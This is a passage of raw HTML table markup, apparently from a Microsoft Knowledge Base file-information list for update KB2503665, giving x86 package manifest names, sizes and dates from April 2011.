class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,705</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_sc_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,687</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_sc~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,718</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_server_0_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,421</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_server_0~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,440</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_server_1_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,682</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_server_1~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,709</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_server_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,699</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_server~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,730</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_winpesrv_0_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,418</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_winpesrv_0~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,437</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_winpesrv_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,426</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_winpesrv~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,445</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Update-bf.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">3,503</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">X86_18eb572f37a24cd59e666459ab36b64a_31bf3856ad364e35_6.0.6002.22629_none_bb945236574dde1a.manifest</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">700</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">X86_a8020e6d20276acbf0255b2b40c82601_31bf3856ad364e35_6.0.6002.18457_none_b18dec7b3726145b.manifest</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">700</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">X86_e2b259372707ec1e09e72c0cf64aebac_31bf3856ad364e35_6.0.6001.18639_none_22ab823e56d39603.manifest</td></t